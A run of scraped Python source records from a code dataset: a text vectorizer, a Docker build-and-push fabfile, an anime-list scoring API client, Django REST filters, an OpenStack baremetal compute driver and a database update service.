sorted(vocab_set, key=lambda x: -counts[x]) # sort by counts\n\n if testing==1:\n print(\"get_vocab[:10]:\", sorted_vocab[:10])\n\n return(sorted_vocab)\n\n# function to convert sents to vectors\n# takes list : sents, int : max vocab\n# returns list of vectors (as lists)\ndef vectorize_sents(sents, vocab, max_vocab, testing=0):\n if testing==1:\n print(\"starting vectorize_sents()...\")\n # get sorted vocab\n vectors = []\n # iterate thru sents\n for sent in sents:\n sent_vect = []\n for word in sent:\n idx = vocab.index(word) + 1 # reserve 0 for UNK / OOV\n if idx < max_vocab: # in max_vocab range\n sent_vect.append(idx)\n else: # out of max_vocab range\n sent_vect.append(0)\n vectors.append(sent_vect)\n if testing==1:\n print(\"vectorize_sents[:10]:\", vectors[:10])\n return(vectors)\n\ndef onehot_vectorize_sents(sents, vocab, max_vocab, testing=0):\n if testing==1:\n print(\"starting vectorize_sents()...\")\n # get sorted vocab\n vectors = []\n # iterate thru sents\n for sent in sents:\n sent_vect = []\n for word in sent:\n one_hot = []\n idx = vocab.index(word) + 1 # reserve 0 for UNK / OOV\n for i in range(max_vocab+1):\n if i == idx: # matching\n one_hot.append(1)\n else:\n one_hot.append(0)\n sent_vect.append(one_hot)\n vectors.append(sent_vect)\n if testing==1:\n print(\"onehot_vectorize_sents[:10]:\", vectors[0])\n return(vectors)\n\n# function to randomize and test-train split\n# takes sent list, class list\n# returns train sents, train heads, test sents, test heads\ndef get_test_train(sents, heads, trainsize=0.8, max_vocab=25000, testing=0):\n\n vocab = get_vocab(sents, heads, testing=testing)\n sent_vectors = vectorize_sents(sents, vocab, max_vocab, testing=testing)\n head_vectors = onehot_vectorize_sents(heads, vocab, max_vocab, testing=testing)\n\n # get list entry ... list?\n entries = []\n for i in range(len(sent_vectors)):\n entries.append(i)\n\n # shuffle indices for randomization\n shuffled = random.sample(entries, len(entries))\n # stop size for train set\n train_stop = int(len(shuffled)*trainsize)\n\n train_X = []\n train_y = []\n test_X = []\n test_y = []\n\n for j in range(len(shuffled)):\n idx = shuffled[j] # get random index\n if j < train_stop:\n train_X.append(sent_vectors[idx])\n train_y.append(head_vectors[idx])\n else:\n test_X.append(sent_vectors[idx])\n test_y.append(head_vectors[idx])\n\n return(train_X, train_y, test_X, test_y)","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"85711765","text":"from fabric.api import *\nfrom fabric.contrib.console import *\nfrom fabric.contrib.files import *\n\n\ndef build(version=None):\n with open('VERSION', 'r') as fh:\n bn = int(fh.read())\n bn += 1\n\n print('Building version {}'.format(bn))\n\n if version:\n bn += \",{}\".format(version)\n\n local('docker build -t 468125874400.dkr.ecr.eu-central-1.amazonaws.com/api:0.{} .'.format(bn))\n\n with open('VERSION', 'w') as fh:\n fh.write(str(bn))\n\n\ndef push():\n with open('VERSION', 'r') as fh:\n bn = int(fh.read())\n\n print('Pushing version {}'.format(bn))\n\n local('docker push 468125874400.dkr.ecr.eu-central-1.amazonaws.com/api:0.{}'.format(bn))\n\n\ndef bp():\n build()\n push()\n","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"499211761","text":"\"\"\"aniffinity animelist endpoints.\"\"\"\n\n\nimport re\nimport time\nimport warnings\n\nimport json_api_doc\nimport requests\n\nfrom .const import DEFAULT_SERVICE, ENDPOINT_URLS, GRAPHQL_QUERY\nfrom .exceptions import (\n InvalidUserError, NoAffinityError,\n RateLimitExceededError\n)\n\n\nTOO_MANY_REQUESTS = requests.codes.TOO_MANY_REQUESTS\n\n\ndef _resolve_service(user, service=None):\n \"\"\"\n Resolve the `user` and `service` into \"proper\" values.\n\n As these params can take different types and formats, this\n function resolves all that to return just the username, and the\n full name of the service to use.\n\n :param user: A user\n :type user: str or tuple\n :param service: The service to use. If no value is specified\n for this param, specify the service in the ``user`` param,\n either as part of a url regex, or in a tuple\n :type service: str or None\n :return: (username, service)\n :rtype: tuple\n \"\"\"\n username = None\n service_name_resolved = None\n\n if service:\n # `service` already specified so we don't need to do much work\n username = user\n service = service.upper()\n\n if service in _services:\n # Fastest option - service name fully specified so no\n # need to do any more work\n service_name_resolved = service\n else:\n # Check aliases to see which service is intended to be used\n for service_name, service_data in _services.items():\n if service in service_data[\"aliases\"]:\n service_name_resolved = service_name\n break\n else:\n raise InvalidUserError(\"Invalid service name\")\n\n elif type(user) is str:\n # `user` should be a url regex then, we just need to figure out\n # which service the regex matches\n for service_name, service_data in _services.items():\n match = re.search(service_data[\"url_regex\"], user, re.I)\n\n if match:\n username = match.group(1)\n service_name_resolved = service_name\n break\n else:\n # Maybe it's just a URL and we don't have an endpoint for that\n # particular service. Check this before assuming anything else.\n if user.startswith(\"http\"):\n raise InvalidUserError(\"Invalid service URL\")\n\n # `user` may just be the username, so let's assume that and\n # use the default service.\n warnings.warn(\"No service has been specified, so assuming the \"\n \"default '{}'. To stop this warning from appearing \"\n \"again, please specify a service to use.\"\n .format(DEFAULT_SERVICE), Warning, stacklevel=3)\n username = user\n service_name_resolved = DEFAULT_SERVICE\n\n # If `user` is a tuple as `(username, service)`\n elif isinstance(user, tuple) and len(user) == 2:\n # Unpack the tuple and pass the values back to this function.\n # Can't see anything going wrong with this... [](#yuishrug)\n return _resolve_service(*user)\n\n # Incorrect usage\n else:\n raise InvalidUserError(\"Invalid usage - check your `user` \"\n \"and `service` values\")\n\n return username, service_name_resolved\n\n\ndef _main(user, service=None):\n \"\"\"\n Determine which endpoint to use and return a users' scores from that.\n\n :param user: A user\n :type user: str or tuple\n :param service: The service to use. If no value is specified\n for this param, specify the service in the ``user`` param,\n either as part of a url regex, or in a tuple\n :type service: str or None\n :return: Mapping of ``id`` to ``score``\n :rtype: dict\n \"\"\"\n # Should be fine doing this.\n # If we've already passed the data to `_resolve_service` and passed\n # the result back in, it'll just throw the info back to us\n username, service = _resolve_service(user, service)\n\n # We don't need to worry about invalid services here, as\n # `figure_out_service` will raise the exception itself if it is invalid.\n service_data = _services.get(service)\n return service_data[\"endpoint\"](username)\n\n\ndef anilist(username):\n \"\"\"\n Retrieve a users' animelist scores from AniList.\n\n Only anime scored > 0 will be returned, and all\n PTW entries are ignored, even if they are scored.\n\n :param str username: AniList username\n :return: Mapping of ``id`` to ``score``\n :rtype: dict\n \"\"\"\n params = {\n \"query\": GRAPHQL_QUERY,\n \"variables\": {\"userName\": username}\n }\n\n resp = requests.request(\"POST\", ENDPOINT_URLS.ANILIST, json=params)\n\n if resp.status_code == TOO_MANY_REQUESTS: # pragma: no cover\n raise RateLimitExceededError(\"AniList rate limit exceeded\")\n\n # TODO: Handling for stuff\n # TODO: Consistency vars and stuff\n\n mlc = resp.json()[\"data\"][\"MediaListCollection\"]\n\n if not mlc:\n # Is this the only reason for not having anything in the MLC?\n raise InvalidUserError(\"User `{}` does not exist on AniList\"\n .format(username))\n\n scores = {}\n\n for lst in mlc[\"lists\"]:\n entries = lst[\"entries\"]\n\n for entry in entries:\n id = str(entry[\"media\"][\"idMal\"])\n score = entry[\"score\"]\n\n if score > 0:\n scores[id] = score\n\n if not len(scores):\n raise NoAffinityError(\"User `{}` hasn't rated any anime on AniList\"\n .format(username))\n\n return scores\n\n\ndef kitsu(user_slug_or_id):\n \"\"\"\n Retrieve a users' animelist scores from Kitsu.\n\n Only anime scored > 0 will be returned, and all\n PTW entries are ignored, even if they are scored.\n\n :param str user_slug_or_id: Kitsu user slug or user id\n :return: Mapping of ``id`` to ``score``\n :rtype: dict\n \"\"\"\n if not user_slug_or_id.isdigit():\n # Username is the \"slug\". The API is incapable of letting us pass\n # a slug filter to the `library-entries` endpoint, so we need to\n # get the user id first...\n # TODO: Tidy this up\n user_id = requests.request(\n \"GET\",\n \"https://kitsu.io/api/edge/users\",\n params={\"filter[slug]\": user_slug_or_id}\n ).json()[\"data\"]\n if not user_id:\n raise InvalidUserError(\"User `{}` does not exist on Kitsu\"\n .format(user_slug_or_id))\n user_id = user_id[0][\"id\"] # assume it's the first one, idk\n else:\n # Assume that if the username is all digits, then the user id is\n # passed so we can just send this straight into `library-entries`\n user_id = user_slug_or_id\n\n params = {\n \"fields[anime]\": \"id,mappings\",\n # TODO: Find a way to specify username instead of user_id.\n \"filter[user_id]\": user_id,\n \"filter[kind]\": \"anime\",\n \"filter[status]\": \"completed,current,dropped,on_hold\",\n \"include\": \"anime,anime.mappings\",\n \"page[offset]\": \"0\",\n \"page[limit]\": \"500\"\n }\n\n entries = []\n next_url = ENDPOINT_URLS.KITSU\n while next_url:\n resp = requests.request(\"GET\", next_url, params=params)\n\n # TODO: Handle invalid username, other exceptions, etc\n if resp.status_code == TOO_MANY_REQUESTS: # pragma: no cover\n raise RateLimitExceededError(\"Kitsu rate limit exceeded\")\n\n json = resp.json()\n\n # The API silently fails if the user id is invalid,\n # which is a PITA, but hey...\n if not json[\"data\"]:\n raise InvalidUserError(\"User `{}` does not exist on Kitsu\"\n .format(user_slug_or_id))\n\n entries += json_api_doc.parse(json)\n\n # HACKISH\n # params built into future `next_url`s, bad idea to keep existing ones\n params = {}\n next_url = json[\"links\"].get(\"next\")\n\n scores = {}\n for entry in entries:\n # Our request returns mappings with various services, we need\n # to find the MAL one to get the MAL id to use.\n mappings = entry[\"anime\"][\"mappings\"]\n for mapping in mappings:\n if mapping[\"externalSite\"] == \"myanimelist/anime\":\n id = mapping[\"externalId\"]\n break\n else:\n # Eh, if there isn't a MAL mapping, then the entry probably\n # doesn't exist there. Not much we can do if that's the case...\n continue\n\n score = entry[\"ratingTwenty\"]\n\n # Why does this API do `score == None` when it's not rated?\n # Whatever happened to 0?\n if score is not None:\n scores[id] = score\n\n if not len(scores):\n raise NoAffinityError(\"User `{}` hasn't rated any anime on Kitsu\"\n .format(user_slug_or_id))\n\n return scores\n\n\ndef myanimelist(username):\n \"\"\"\n Retrieve a users' animelist scores from MyAnimeList.\n\n Only anime scored > 0 will be returned, and all\n PTW entries are ignored, even if they are scored.\n\n :param str username: MyAnimeList username\n :return: Mapping of ``id`` to ``score``\n :rtype: dict\n \"\"\"\n params = {\n \"status\": \"7\", # all entries\n \"offset\": 0\n }\n\n scores = {}\n\n # This endpoint only returns 300 items at a time :( #BringBackMalAppInfo\n list_entries = 1\n while list_entries > 0:\n resp = requests.request(\n \"GET\",\n ENDPOINT_URLS.MYANIMELIST.format(username=username),\n params=params\n )\n \n # sleep to make sure we don't exceed rate limit\n time.sleep(2)\n \n if resp.status_code == TOO_MANY_REQUESTS: # pragma: no cover\n raise RateLimitExceededError(\"MyAnimeList rate limit exceeded\")\n\n json = resp.json()\n if \"errors\" in json:\n # TODO: Better error handling\n raise InvalidUserError(\"User `{}` does not exist on MyAnimeList\"\n .format(username))\n\n for entry in json:\n if entry[\"status\"] == 6:\n # Entry in PTW, skip\n continue\n\n id = str(entry[\"anime_id\"])\n score = entry[\"score\"]\n\n if score > 0:\n scores[id] = score\n \n list_entries = len(json)\n params[\"offset\"] += 300\n\n if not len(scores):\n raise NoAffinityError(\"User `{}` hasn't rated any anime on MyAnimeList\"\n .format(username))\n\n return scores\n\n\n# We can't move this to `.const` as referencing the endpoints from there\n# will get pretty messy...\n# TODO: Move the `ENDPOINT_URLS here as well???\n_services = {\n \"ANILIST\": {\n \"aliases\": {\"AL\", \"A\"},\n \"url_regex\": r\"^https?://anilist\\.co/user/([a-z0-9_-]+)(?:\\/(?:animelist)?)?$\", # noqa: E501\n \"endpoint\": anilist\n },\n \"KITSU\": {\n \"aliases\": {\"K\"},\n \"url_regex\": r\"^https?://kitsu\\.io/users/([a-z0-9_-]+)(?:/(?:library(?:\\?media=anime)?)?)?$\", # noqa: E501\n \"endpoint\": kitsu\n },\n \"MYANIMELIST\": {\n \"aliases\": {\"MAL\", \"M\"},\n \"url_regex\": r\"^https?://myanimelist\\.net/(?:profile|animelist)/([a-z0-9_-]+)/?(?:\\?status=\\d)?\", # noqa: E501\n \"endpoint\": myanimelist\n }\n}\n","sub_path":"aniffinity/endpoints.py","file_name":"endpoints.py","file_ext":"py","file_size_in_byte":11347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"63105974","text":"import itertools\n\nfrom django.contrib.auth import get_user_model\nfrom django_filters import rest_framework\n\nfrom api.models import Result, Status, ResultFeature, Component, Validation\n\n\nclass NumberInFilter(rest_framework.BaseInFilter, rest_framework.NumberFilter):\n pass\n\n\nclass CharInFilter(rest_framework.BaseInFilter, rest_framework.CharFilter):\n pass\n\n\nclass UserSpecificFilterSet(rest_framework.FilterSet):\n validations = rest_framework.BooleanFilter(\n field_name='validations',\n method='validations_empty'\n )\n ids__in = NumberInFilter(field_name='id', lookup_expr='in')\n\n def validations_empty(self, queryset, _, value):\n return queryset \\\n .filter(**{'validations__isnull': not value}) \\\n .distinct('id')\n\n class Meta:\n model = get_user_model()\n fields = ['validations', 'is_staff', 'username', 'ids__in']\n\n\nclass ResultsFilter(rest_framework.FilterSet):\n ids__in = NumberInFilter(field_name='id', lookup_expr='in')\n\n class Meta:\n model = Result\n fields = ['ids__in']\n\n\nclass StatusFilter(rest_framework.FilterSet):\n test_status__in = CharInFilter(field_name='test_status', lookup_expr='in')\n\n class Meta:\n model = Status\n fields = ['test_status__in']\n\n\nclass ResultFeatureFilter(rest_framework.FilterSet):\n active = rest_framework.BooleanFilter(\n field_name='id',\n method='is_active'\n )\n\n def is_active(self, queryset, name, _):\n # get list of features in all validations\n features = set(\n # flatten list of lists\n itertools.chain.from_iterable(\n list(\n Validation.objects.values_list(\n 'features',\n flat=True).distinct()\n )\n )\n )\n return queryset.filter(id__in=sorted(features))\n\n class Meta:\n model = ResultFeature\n fields = ['active', 'name']\n\n\nclass ComponentFilter(rest_framework.FilterSet):\n active = rest_framework.BooleanFilter(\n field_name='id',\n method='is_active'\n )\n\n def is_active(self, queryset, name, _):\n # get list of components in all validations\n components = set(\n # flatten list of lists\n itertools.chain.from_iterable(\n list(\n Validation.objects.values_list(\n 'components',\n flat=True).distinct()\n )\n )\n )\n return queryset.filter(id__in=sorted(components))\n\n class Meta:\n model = Component\n fields = ['active', 'name']\n","sub_path":"backend/reporting/api/views/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":2680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"220777336","text":"# vim: tabstop=4 shiftwidth=4 softtabstop=4\n# coding=utf-8\n#\n# Copyright (c) 2012 NTT DOCOMO, INC. and 2011 University of Southern California\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\" start add by NTT DOCOMO \"\"\"\n\nfrom nova import exception\nfrom nova.openstack.common import log as logging\nfrom nova.openstack.common import importutils\nfrom nova.openstack.common import cfg\nfrom nova import flags\nfrom nova import context as nova_context\nfrom nova import db\nfrom nova.virt.baremetal import bmdb\nfrom nova.compute import power_state\nfrom nova.virt import driver\nfrom nova.virt.libvirt import imagecache\nfrom nova.virt.phy import baremetal_states\n\nopts = [\n cfg.BoolOpt('baremetal_inject_password',\n default=True,\n help='Whether baremetal compute injects password or not'),\n cfg.StrOpt('baremetal_vif_driver',\n default='nova.virt.phy.vif_driver.BaremetalVIFDriver',\n help='Baremetal VIF driver.'),\n cfg.StrOpt('baremetal_firewall_driver',\n default='nova.virt.firewall.NoopFirewallDriver',\n help='Baremetal firewall driver.'),\n cfg.StrOpt('baremetal_volume_driver',\n default='nova.virt.phy.volume_driver.LibvirtVolumeDriver',\n help='Baremetal volume driver.'),\n cfg.StrOpt('baremetal_cpu_arch',\n default='x86_64',\n help='Baremetal cpu_arch in capability.')\n ]\n\nFLAGS = flags.FLAGS\nFLAGS.register_opts(opts)\n\nLOG = logging.getLogger(__name__)\n\n\nclass NoSuitableBareMetalNode(exception.NovaException):\n message = _(\"Failed to find suitable BareMetalNode\")\n\n\ndef _get_baremetal_nodes(context):\n nodes = bmdb.bm_node_get_all_by_service_host(context, FLAGS.host)\n return nodes\n\n\ndef _get_baremetal_node_by_instance_id(instance_id):\n ctx = nova_context.get_admin_context()\n for host in _get_baremetal_nodes(ctx):\n if host['instance_id'] == instance_id:\n return host\n return None\n\n \ndef _get_baremetal_node_by_instance_name(instance_name):\n context = nova_context.get_admin_context()\n for node in _get_baremetal_nodes(context):\n if not node['instance_id']:\n continue\n try:\n inst = db.instance_get(context, node['instance_id'])\n if inst['name'] == instance_name:\n return node\n except exception.InstanceNotFound:\n continue\n return None\n\n \ndef _find_suitable_baremetal_node(context, instance):\n result = None\n for node in _get_baremetal_nodes(context):\n if node['instance_id']:\n continue\n if node['registration_status'] != 'done':\n continue\n if node['cpus'] < instance['vcpus']:\n continue\n if node['memory_mb'] < instance['memory_mb']:\n continue\n if result == None:\n result = node\n else:\n if node['cpus'] < result['cpus']:\n result = node\n elif node['cpus'] == result['cpus'] and node['memory_mb'] < result['memory_mb']:\n result = node\n return result\n\n\ndef _update_baremetal_state(context, node, instance, state):\n instance_id = None\n if instance:\n instance_id = instance['id']\n bmdb.bm_node_update(context, node['id'],\n {'instance_id': instance_id,\n 'task_state' : state,\n })\n\n\nclass BareMetalDriver(driver.ComputeDriver):\n \"\"\"BareMetal hypervisor driver\"\"\"\n\n def __init__(self):\n LOG.info(_(\"BareMetal driver __init__\"))\n super(BareMetalDriver, self).__init__()\n\n from nova.virt.baremetal import nodes\n self.baremetal_nodes = nodes.get_baremetal_nodes()\n self._vif_driver = importutils.import_object(FLAGS.baremetal_vif_driver)\n self._firewall_driver = importutils.import_object(FLAGS.baremetal_firewall_driver)\n self._volume_driver = importutils.import_object(FLAGS.baremetal_volume_driver)\n self._image_cache_manager = imagecache.ImageCacheManager()\n\n extra_specs = {}\n extra_specs[\"hypervisor_type\"] = self.get_hypervisor_type()\n extra_specs[\"baremetal_driver\"] = FLAGS.baremetal_driver\n for pair in FLAGS.instance_type_extra_specs:\n keyval = pair.split(':', 1)\n keyval[0] = keyval[0].strip()\n keyval[1] = keyval[1].strip()\n extra_specs[keyval[0]] = keyval[1]\n if not 'cpu_arch' in extra_specs:\n LOG.warning('cpu_arch is not found in instance_type_extra_specs')\n extra_specs['cpu_arch'] = ''\n self._extra_specs = extra_specs\n\n\n @classmethod\n def instance(cls):\n if not hasattr(cls, '_instance'):\n cls._instance = cls()\n return cls._instance\n\n def init_host(self, host):\n return\n\n def get_hypervisor_type(self):\n return 'baremetal'\n\n def get_hypervisor_version(self):\n return 1\n\n def list_instances(self):\n l = []\n ctx = nova_context.get_admin_context()\n for node in _get_baremetal_nodes(ctx):\n if node['instance_id']:\n inst = db.instance_get(ctx, node['instance_id'])\n if inst:\n l.append(inst['name'])\n return l\n\n def list_instances_detail(self):\n l = []\n ctx = nova_context.get_admin_context()\n for node in _get_baremetal_nodes(ctx):\n if node['instance_id']:\n pm = nodes.get_power_manager(node)\n ps = power_state.SHUTDOWN\n if pm.is_power_on():\n ps = power_state.RUNNING\n inst = db.instance_get(ctx, node['instance_id'])\n if inst:\n ii = driver.InstanceInfo(inst['name'], ps)\n l.append(ii)\n return l\n \n def spawn(self, context, instance, image_meta,\n network_info=None, block_device_info=None):\n LOG.debug(\"spawn:\")\n LOG.debug(\"instance=%s\", instance.__dict__)\n LOG.debug(\"image_meta=%s\", image_meta)\n LOG.debug(\"network_info=%s\", network_info)\n LOG.debug(\"block_device_info=%s\", block_device_info)\n \n node = _find_suitable_baremetal_node(context, instance)\n\n if not node:\n LOG.info(\"no suitable baremetal node found\")\n raise NoSuitableBareMetalNode()\n \n _update_baremetal_state(context, node, instance, baremetal_states.BUILDING)\n \n var = self.baremetal_nodes.define_vars(instance, network_info, block_device_info)\n\n # clear previous vif info\n pifs = bmdb.bm_interface_get_all_by_bm_node_id(context, node['id'])\n for pif in pifs:\n if pif['vif_uuid']:\n bmdb.bm_interface_set_vif_uuid(context, pif['id'], None)\n\n self.plug_vifs(instance, network_info)\n\n self._firewall_driver.setup_basic_filtering(instance, network_info)\n self._firewall_driver.prepare_instance_filter(instance, network_info)\n\n self.baremetal_nodes.create_image(var, context, image_meta, node, instance)\n self.baremetal_nodes.activate_bootloader(var, context, node, instance)\n #TODO attach volumes\n pm = nodes.get_power_manager(node)\n state = pm.activate_node()\n\n _update_baremetal_state(context, node, instance, state)\n \n self.baremetal_nodes.activate_node(var, context, node, instance)\n self._firewall_driver.apply_instance_filter(instance, network_info)\n pm.start_console(node['terminal_port'], node['id'])\n\n def reboot(self, instance, network_info):\n node = _get_baremetal_node_by_instance_id(instance['id'])\n \n if not node:\n raise exception.InstanceNotFound(instance_id=instance['id'])\n\n ctx = nova_context.get_admin_context()\n pm = nodes.get_power_manager(node)\n state = pm.reboot_node()\n _update_baremetal_state(ctx, node, instance, state)\n\n def destroy(self, instance, network_info, block_device_info=None):\n LOG.debug(\"destroy: instance=%s\", instance.__dict__)\n LOG.debug(\"destroy: network_info=%s\", network_info)\n LOG.debug(\"destroy: block_device_info=%s\", block_device_info)\n ctx = nova_context.get_admin_context()\n\n node = _get_baremetal_node_by_instance_id(instance['id'])\n if not node:\n LOG.warning(\"Instance:id='%s' not found\" % instance['id'])\n return\n \n var = self.baremetal_nodes.define_vars(instance, network_info, block_device_info)\n\n self.baremetal_nodes.activate_node(var, ctx, node, instance)\n\n pm = nodes.get_power_manager(node)\n\n ## stop console\n pm.stop_console(node['id'])\n \n ## power off the node\n state = pm.deactivate_node()\n\n ## cleanup volumes\n # NOTE(vish): we disconnect from volumes regardless\n block_device_mapping = driver.block_device_info_get_mapping(\n block_device_info)\n for vol in block_device_mapping:\n connection_info = vol['connection_info']\n mountpoint = vol['mount_device']\n self.detach_volume(connection_info, instance['name'], mountpoint)\n\n self.baremetal_nodes.deactivate_bootloader(var, ctx, node, instance)\n\n self.baremetal_nodes.destroy_images(var, ctx, node, instance)\n\n # stop firewall\n self._firewall_driver.unfilter_instance(instance,\n network_info=network_info)\n\n self._unplug_vifs(instance, network_info)\n \n _update_baremetal_state(ctx, node, None, state)\n\n def get_volume_connector(self, instance):\n return self._volume_driver.get_volume_connector(instance)\n\n def attach_volume(self, connection_info, instance_name, mountpoint):\n return self._volume_driver.attach_volume(connection_info, instance_name, mountpoint)\n\n @exception.wrap_exception()\n def detach_volume(self, connection_info, instance_name, mountpoint):\n return self._volume_driver.detach_volume(connection_info, instance_name, mountpoint)\n \n def get_info(self, instance):\n node = _get_baremetal_node_by_instance_id(instance['id'])\n if not node:\n raise exception.InstanceNotFound(instance_id=instance['id'])\n pm = nodes.get_power_manager(node)\n ps = power_state.SHUTDOWN\n if pm.is_power_on():\n ps = power_state.RUNNING\n LOG.debug(\"power_state=%s\", ps)\n return {'state': ps,\n 'max_mem': node['memory_mb'],\n 'mem': node['memory_mb'],\n 'num_cpu': node['cpus'],\n 'cpu_time': 0}\n\n def refresh_security_group_rules(self, security_group_id):\n self._firewall_driver.refresh_security_group_rules(security_group_id)\n return True\n\n def refresh_security_group_members(self, security_group_id):\n self._firewall_driver.refresh_security_group_members(security_group_id)\n return True\n\n def refresh_provider_fw_rules(self):\n self._firewall_driver.refresh_provider_fw_rules()\n \n def _sum_baremetal_resources(self, ctxt):\n vcpus = 0\n vcpus_used = 0\n memory_mb = 0\n memory_mb_used = 0\n local_gb = 0\n local_gb_used = 0 \n for node in _get_baremetal_nodes(ctxt):\n if node['registration_status'] != 'done':\n continue\n vcpus += node['cpus']\n memory_mb += node['memory_mb']\n local_gb += node['local_gb']\n\n dic = {'vcpus': vcpus,\n 'memory_mb': memory_mb,\n 'local_gb': local_gb,\n 'vcpus_used': vcpus_used,\n 'memory_mb_used': memory_mb_used,\n 'local_gb_used': local_gb_used,\n }\n return dic\n\n def _max_baremetal_resouces(self, ctxt):\n max_cpus = 0\n max_memory_mb = 0\n max_local_gb = 0\n \n for node in _get_baremetal_nodes(ctxt):\n if node['registration_status'] != 'done':\n continue\n if node['instance_id']:\n continue\n \n #put prioirty to memory size. You can use CPU and HDD, if you change the following line.\n if max_memory_mb > node['memory_mb']:\n max_memory_mb = node['momory_mb']\n max_cpus = node['cpus']\n max_local_gb = node['max_local_gb']\n\n dic = {'vcpus': max_cpus,\n 'memory_mb': max_memory_mb,\n 'local_gb': max_local_gb,\n 'vcpus_used': 0,\n 'memory_mb_used': 0,\n 'local_gb_used': 0,\n }\n return dic\n\n def update_available_resource(self, ctxt, host):\n \"\"\"Updates compute manager resource info on ComputeNode table.\n\n This method is called when nova-coompute launches, and\n whenever admin executes \"nova-manage service update_resource\".\n\n :param ctxt: security context\n :param host: hostname that compute manager is currently running\n\n \"\"\"\n\n dic = self._max_baremetal_resouces(ctxt)\n #dic = self._sum_baremetal_resources(ctxt)\n dic['hypervisor_type'] = self.get_hypervisor_type()\n dic['hypervisor_version'] = self.get_hypervisor_version()\n dic['cpu_info'] = 'baremetal cpu'\n \n try:\n service_ref = db.service_get_all_compute_by_host(ctxt, host)[0]\n except exception.NotFound:\n raise exception.ComputeServiceUnavailable(host=host)\n\n dic['service_id'] = service_ref['id']\n\n compute_node_ref = service_ref['compute_node']\n if not compute_node_ref:\n LOG.info(_('Compute_service record created for %s ') % host)\n db.compute_node_create(ctxt, dic)\n else:\n LOG.info(_('Compute_service record updated for %s ') % host)\n db.compute_node_update(ctxt, compute_node_ref[0]['id'], dic)\n\n def ensure_filtering_rules_for_instance(self, instance_ref, network_info):\n self._firewall_driver.setup_basic_filtering(instance_ref, network_info)\n self._firewall_driver.prepare_instance_filter(instance_ref, network_info)\n\n def unfilter_instance(self, instance_ref, network_info):\n self._firewall_driver.unfilter_instance(instance_ref,\n network_info=network_info)\n\n def test_remove_vm(self, instance_name):\n \"\"\" Removes the named VM, as if it crashed. For testing\"\"\"\n LOG.info(_(\"test_remove_vm: instance_name=%s\") % (instance_name))\n raise exception.InstanceNotFound(instance_id=instance_name)\n\n def _get_host_stats(self):\n dic = self._max_baremetal_resouces(nova_context.get_admin_context())\n memory_total = dic['memory_mb'] * 1024 * 1024\n memory_free = (dic['memory_mb'] - dic['memory_mb_used']) * 1024 * 1024\n disk_total = dic['local_gb'] * 1024 * 1024 * 1024\n disk_used = dic['local_gb_used'] * 1024 * 1024 * 1024\n\n return {\n 'host_name-description': 'baremetal ' + FLAGS.host,\n 'host_hostname': FLAGS.host,\n 'host_memory_total': memory_total,\n 'host_memory_overhead': 0,\n 'host_memory_free': memory_free,\n 'host_memory_free_computed': memory_free,\n 'host_other_config': {},\n# 'host_ip_address': '192.168.1.109',\n# 'host_cpu_info': {},\n 'disk_available': disk_total - disk_used,\n 'disk_total': disk_total,\n 'disk_used': disk_used,\n# 'host_uuid': 'cedb9b39-9388-41df-8891-c5c9a0c0fe5f',\n 'host_name_label': FLAGS.host,\n 'cpu_arch': self._extra_specs.get('cpu_arch'),\n 'type': 'baremetal',\n 'instance_type_extra_specs': self._extra_specs,\n }\n\n def update_host_status(self):\n LOG.info(_(\"update_host_status:\"))\n return self._get_host_stats()\n\n def get_host_stats(self, refresh=False):\n LOG.info(_(\"get_host_stats: refresh=%s\") % (refresh))\n return self._get_host_stats()\n\n def plug_vifs(self, instance, network_info):\n \"\"\"Plugin VIFs into networks.\"\"\"\n LOG.debug(\"plug_vifs: %s\", locals())\n for (network, mapping) in network_info:\n self._vif_driver.plug(instance, (network, mapping))\n\n def _unplug_vifs(self, instance, network_info):\n LOG.debug(\"_unplug_vifs: %s\", locals())\n for (network, mapping) in network_info:\n self._vif_driver.unplug(instance, (network, mapping))\n\n def manage_image_cache(self, context):\n \"\"\"Manage the local cache of images.\"\"\"\n self._image_cache_manager.verify_base_images(context)\n \n def get_console_output(self, instance):\n node = _get_baremetal_node_by_instance_id(instance['id'])\n return self.baremetal_nodes.get_console_output(node, instance)\n\n\n\"\"\" end add by NTT DOCOMO \"\"\"\n","sub_path":"nova/virt/phy/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":17425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"436021337","text":"import covid_spread_analyzer.database_operations as db\nfrom covid_spread_analyzer.prediction_app.predictions_handler import predict_and_save_\nfrom data_fetch.twitter.DataYieldService import DataYieldService\n\n\nclass DBUpdateService:\n @staticmethod\n def update_database():\n last_update_date = db.load_data(\"Last Update Date\")\n data = DataYieldService.yield_data_since(last_update_date)\n DBUpdateService.__insert_data(data)\n predict_and_save_()\n\n @staticmethod\n def __insert_data(data):\n for date in data[\"Map Data\"].keys():\n db.save_data(data[\"Map Data\"][date], \"Map Data\", date)\n\n for date in data[\"Poland\"].keys():\n db.save_data(data[\"Poland\"][date], \"Poland\", date)\n\n for voivodeship in data[\"Voivodeships\"].keys():\n for date in data[\"Voivodeships\"][voivodeship].keys():\n db.save_data(data[\"Voivodeships\"][voivodeship][date], \"Voivodeships\", voivodeship, date)\n\n db.save_data({\"Last Update Date\": data[\"Last Update Date\"]})\n","sub_path":"covid_spread_analyzer/DBUpdateService.py","file_name":"DBUpdateService.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"10478853","text":"import yaml\nimport docker\nimport os\nimport boto3\nfrom xml.dom import minidom\n\nlanguages = 